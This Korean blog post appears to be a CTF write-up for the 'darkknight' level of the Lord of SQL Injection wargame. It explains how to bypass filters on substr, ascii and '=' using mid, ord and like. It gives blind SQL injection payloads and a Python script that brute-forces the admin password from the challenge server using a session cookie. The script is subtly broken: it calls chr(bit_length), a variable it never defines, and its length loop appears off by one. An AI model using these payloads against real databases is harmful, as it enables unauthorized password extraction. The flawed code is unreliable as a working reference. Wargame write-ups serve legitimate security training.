▶ 코드 확인
또 보는 Blind SQL Injection 문제이다. 마찬가지로 어떻게 풀지는 필터링한 문자를 보면 알 수 있다. blind SQL Injection의 핵심이라고 할 수 있는 substr와 ascii, =를 필터링하고 있다. Injector에 관한 글을 쓰면서 blind SQL Injector 보수공사(?)를 조금 해서 코드 구성이 조금 더 간결하게 바뀌으니 참고하길 바란다. 이진탐색 알고리즘은 귀찮아서 구현 못했지만, lpad를 사용하는 더 나은(개인적인 생각임) 방법을 터득했으니, 추후 해당 방식으로 고칠 예정이다.
어쨋든, 우회할 수 있는 쿼리문을 생각해보자. substr을 필터링하니 대신 쓸 함수가 필요하다. 여기서 등장하는 것이 mid인데, left, mid, right 이렇게 세개는 mysql에서 부분 문자열을 가지고 올 때, 활용하는 명령어다. 이 중 mid는 substring 명령어와 동의어라고 하니, 사실상 mid를 쓰면 substring은 쉽게 우회할 수 있다는 것을 알 수 있다.
또한, ascii 필터링은 ord로 우회할 수 있다. 사실, 둘의 차이는 단순히 ascii 문자 숫자를 변환하는 것에 그치지 않는다. 자세한 둘의 차이는 추후에 xavis문제를 풀 때 서술하는게 나을 것 같아서 여기서는 자세히 서술하지는 않겠다. 다만, 간단히 설명하자면 ord명령어는 ascii는 8비트 숫자밖에 출력못하기 때문에, ascii보다 더 큰 수를 가지는 unicode숫자를 변환할 때도 쓸 수 있는 유용한 명령어다.
=을 필터링하는 것은 like로 대체할 수 있다. like를 사용하면 다양한 문자와 함께 사용해 와일드카드 등의 기능을 구현할 수 있지만, 단순히 like만 사용할 경우 =를 필터링할 경우 =대용으로 쓸 수 있음을 배웠다.
이러한 사실들을 종합해서 구성한 payload는 다음과 같다.
# Finding password length select id from prob_darkknight where id='guest' and pw='2' and no=1 or id like 'admin' and ord(mid(pw,{password_length},1))>0 # Finding each character select id from prob_darkknight where id='guest' and pw='2' and no=1 or id like 'admin' and ord(mid(pw,{password_length},1))like%20{each_character's_ascii_num} |
Python으로 구성한 Injector의 코드 구성은 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from requests import get
host = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {'PHPSESSID': 'eo0jgu96b2rckpgjvaaaeb0qau'}
# Find admin password length
password_length = 0
while True:
password_length += 1
query = f'2&no=1%20or%20id%20like%20"admin"%20and%20ord(mid(pw,{password_length},1))>0'
r = get(f"{host}/?pw={query}", cookies=cookies)
if not "Hello admin" in r.text:
break
print(f"password length: {password_length - 1}")
password = ""
# Find each character's ascii num
for i in range(1, password_length):
ascii_num = 0
while True:
ascii_num += 1
query = f'2&no=1%20or%20id%20like%20"admin"%20and%20(ord(mid(pw,{i},1))%20like%20{ascii_num})'
r = get(f"{host}/?pw={query}", cookies=cookies)
if "Hello admin" in r.text:
break
print(f"character {i}'s ascii code: {ascii_num}")
password += chr(bit_length)
print(password)
|
cs |
그러면 다음과 같이 답안을 출력하는 것을 확인할 수 있고 pw에 입력해주기만 하면 클리어된다.
'write-ups > Lord of SQL Injection' 카테고리의 다른 글
LORD OF SQLINJECTION - green_dragon (0) | 2023.01.22 |
---|---|
LORD OF SQLINJECTION - bugbear (0) | 2023.01.18 |
LORD OF SQLINJECTION - golem (0) | 2022.12.05 |
LORD OF SQLINJECTION - Skeleton (0) | 2022.11.30 |
LORD OF SQLINJECTION - vampire (0) | 2022.11.29 |
댓글